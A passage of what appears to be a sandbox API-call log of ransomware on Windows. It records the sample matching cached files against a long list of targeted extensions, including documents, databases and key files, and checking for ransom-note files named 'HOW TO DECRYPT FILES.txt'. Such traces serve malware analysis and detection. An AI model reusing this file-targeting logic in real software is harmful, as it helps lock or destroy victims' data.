HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.cs") returned 0 [0084.588] lstrlenA (lpString="*.cs") returned 4 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.cpp") returned 0 [0084.588] lstrlenA (lpString="*.cpp") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.rar") returned 0 [0084.588] lstrlenA (lpString="*.rar") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.zip") returned 0 [0084.588] lstrlenA (lpString="*.zip") returned 5 [0084.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.html") returned 0 [0084.589] lstrlenA (lpString="*.html") returned 6 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.htm") returned 0 [0084.589] lstrlenA (lpString="*.htm") returned 5 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.xlsx") returned 0 [0084.589] lstrlenA (lpString="*.xlsx") returned 6 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.xls") returned 0 [0084.589] lstrlenA (lpString="*.xls") returned 5 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mp4") returned 0 [0084.589] lstrlenA (lpString="*.mp4") returned 5 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.ppt") returned 0 [0084.589] lstrlenA (lpString="*.ppt") returned 5 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.pptx") returned 0 [0084.589] lstrlenA (lpString="*.pptx") returned 6 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.doc") returned 0 [0084.589] lstrlenA (lpString="*.doc") returned 5 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.dot") returned 0 [0084.589] lstrlenA (lpString="*.dot") returned 5 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.docx") returned 0 [0084.589] lstrlenA (lpString="*.docx") returned 6 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.7z") returned 0 [0084.589] lstrlenA (lpString="*.7z") returned 4 [0084.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.tar") returned 0 [0084.589] lstrlenA (lpString="*.tar") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.bz2") returned 0 [0084.590] lstrlenA (lpString="*.bz2") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.gz") returned 0 [0084.590] lstrlenA (lpString="*.gz") returned 4 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mkv") returned 0 [0084.590] lstrlenA (lpString="*.mkv") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.eml") returned 0 [0084.590] lstrlenA (lpString="*.eml") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.msg") returned 0 [0084.590] lstrlenA (lpString="*.msg") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.edb") returned 0 [0084.590] lstrlenA (lpString="*.edb") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.accdb") returned 0 [0084.590] lstrlenA (lpString="*.accdb") returned 7 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.odb") returned 0 [0084.590] lstrlenA (lpString="*.odb") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.java") returned 0 [0084.590] lstrlenA (lpString="*.java") returned 6 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.asm") returned 0 [0084.590] lstrlenA (lpString="*.asm") returned 5 [0084.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.pfx") returned 0 [0084.591] lstrlenA (lpString="*.pfx") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.pem") returned 0 [0084.591] lstrlenA (lpString="*.pem") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.p12") returned 0 [0084.591] lstrlenA (lpString="*.p12") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.gpg") returned 0 [0084.591] lstrlenA (lpString="*.gpg") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.vsd") returned 0 [0084.591] lstrlenA (lpString="*.vsd") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.odg") returned 0 [0084.591] lstrlenA (lpString="*.odg") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.raw") returned 0 [0084.591] lstrlenA (lpString="*.raw") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.nef") returned 0 [0084.591] lstrlenA (lpString="*.nef") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.svg") returned 0 [0084.591] lstrlenA (lpString="*.svg") returned 5 [0084.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.psd") returned 0 [0084.592] lstrlenA (lpString="*.psd") returned 5 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.vmx") returned 0 [0084.592] lstrlenA (lpString="*.vmx") returned 5 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.vmdk") returned 0 [0084.592] lstrlenA (lpString="*.vmdk") returned 6 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.vdi") returned 0 [0084.592] lstrlenA (lpString="*.vdi") returned 5 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.lay6") returned 0 [0084.592] lstrlenA (lpString="*.lay6") returned 6 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mpeg") returned 0 [0084.592] lstrlenA (lpString="*.mpeg") returned 6 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.djvu") returned 0 [0084.592] lstrlenA (lpString="*.djvu") returned 6 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.tiff") returned 0 [0084.592] lstrlenA (lpString="*.tiff") returned 6 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.backup") returned 0 [0084.592] lstrlenA (lpString="*.backup") returned 8 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.pdf") returned 0 [0084.592] lstrlenA (lpString="*.pdf") returned 5 [0084.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.cert") returned 0 [0084.592] lstrlenA (lpString="*.cert") returned 6 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.docm") returned 0 [0084.593] lstrlenA (lpString="*.docm") returned 6 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.xlsm") returned 0 [0084.593] lstrlenA (lpString="*.xlsm") returned 6 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.dwg") returned 0 [0084.593] lstrlenA (lpString="*.dwg") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.nd") returned 0 [0084.593] lstrlenA (lpString="*.nd") returned 4 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.tlg") returned 0 [0084.593] lstrlenA (lpString="*.tlg") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.lgb") returned 0 [0084.593] lstrlenA (lpString="*.lgb") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mov") returned 0 [0084.593] lstrlenA (lpString="*.mov") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.xdw") returned 0 [0084.593] lstrlenA (lpString="*.xdw") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.ods") returned 0 [0084.593] lstrlenA (lpString="*.ods") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.wav") returned 0 [0084.593] lstrlenA (lpString="*.wav") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.mp3") returned 0 [0084.593] lstrlenA (lpString="*.mp3") returned 5 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.aiff") returned 0 [0084.593] lstrlenA (lpString="*.aiff") returned 6 [0084.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.flac") returned 0 [0084.593] lstrlenA (lpString="*.flac") returned 6 [0084.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.m4a") returned 0 [0084.594] lstrlenA (lpString="*.m4a") returned 5 [0084.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1", pszSpec="*.csv") returned 0 [0084.594] lstrlenA (lpString="*.csv") returned 5 [0084.594] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50fa0830, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x82d8, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="chartbeat[1].js", cAlternateFileName="CHARTB~1.JS")) returned 1 [0084.594] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.594] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chartbeat[1].js") returned 1 [0084.594] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chartbeat[1].js") returned 1 [0084.594] lstrcmpiA (lpString1="", lpString2="chartbeat[1].js") returned -1 [0084.594] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\cb=gapi[1].loaded_1") returned="cb=gapi[1].loaded_1" [0084.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.594] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.594] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.594] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.594] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="chartbeat[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js" [0084.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.ems") returned 0 [0084.594] lstrlenA (lpString="*.ems") returned 5 [0084.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.db") returned 0 [0084.594] lstrlenA (lpString="*.db") returned 4 [0084.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.dbf") returned 0 [0084.594] lstrlenA (lpString="*.dbf") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.myox") returned 0 [0084.595] lstrlenA (lpString="*.myox") returned 6 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.myo") returned 0 [0084.595] lstrlenA (lpString="*.myo") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qbw") returned 0 [0084.595] lstrlenA (lpString="*.qbw") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qbb") returned 0 [0084.595] lstrlenA (lpString="*.qbb") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qbm") returned 0 [0084.595] lstrlenA (lpString="*.qbm") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qbo") returned 0 [0084.595] lstrlenA (lpString="*.qbo") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qbx") returned 0 [0084.595] lstrlenA (lpString="*.qbx") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qba") returned 0 [0084.595] lstrlenA (lpString="*.qba") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qby") returned 0 [0084.595] lstrlenA (lpString="*.qby") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qbj") returned 0 [0084.595] lstrlenA (lpString="*.qbj") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.ofx") returned 0 [0084.595] lstrlenA (lpString="*.ofx") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.qif") returned 0 [0084.595] lstrlenA (lpString="*.qif") returned 5 [0084.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mye") returned 0 [0084.595] lstrlenA (lpString="*.mye") returned 5 [0084.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mbox") returned 0 [0084.596] lstrlenA (lpString="*.mbox") returned 6 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.eml") returned 0 [0084.597] lstrlenA (lpString="*.eml") returned 5 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.pst") returned 0 [0084.597] lstrlenA (lpString="*.pst") returned 5 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 